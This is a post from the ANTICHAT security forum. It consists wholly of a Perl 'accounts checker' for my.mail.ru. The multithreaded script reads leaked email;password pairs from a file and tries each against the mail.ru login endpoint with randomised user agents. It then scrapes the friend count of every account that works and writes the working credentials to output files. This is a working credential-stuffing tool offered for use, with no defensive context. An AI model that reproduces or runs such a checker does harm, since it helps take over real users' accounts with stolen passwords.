ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl
# my.mail.ru accounts checker by Gaus
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';

###############################
my $file_accs = 'accs.txt';   # Файл с аккаунтами
my $delm_accs = ';';          # Разделитель списка аккаунтов
my $threads = 10;             # Кол-во потоков
###############################

open my $file, '<', $file_accs or die "\nCould not open accounts file!\n";
chomp(my @accs : shared = <$file>);
close $file;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my ($mail,$pass) = split $delm_accs => shift @accs;;
        my ($login,$domain) = split '@' => $mail;
        my $ua = LWP::UserAgent->new(timeout => 35,
                                     cookie_jar => new HTTP::Cookies,
                                     agent => agent());
        my $answ = $ua->post('http://swa.mail.ru/cgi-bin/auth',
                            ['action1' => 'Login',
                             'Login' => $login,
                             'Domain' => $domain,
                             'Password' => $pass])->code;
        if($answ == 302)
        {
            my $resp = $ua->get("http://my.mail.ru/")->content;
            if($resp =~ m,friends_requests" class="mf_menu2">(.*?)</a> (\d+)</div>,i)
            {
                if($2 > 0)
                {
                    wf('acccounts_with_friends.txt',"$mail;$pass\n");
                    print "[ + ] $mail;$pass:$2\n";                    
                }
                else
                {
                    print "[ ~ ] $mail;$pass:0\n";
                    wf('acccounts_without_friends.txt',"$mail;$pass\n");
                }
            }
            else
            {
                print "[ ~ ] $mail;$pass\n";
                
            }
            
        }
        else
        {
            print "[ - ] $mail;$pass\n";
        }
    }
}
sub agent
{
    my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
    return $agents[rand scalar @agents];
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}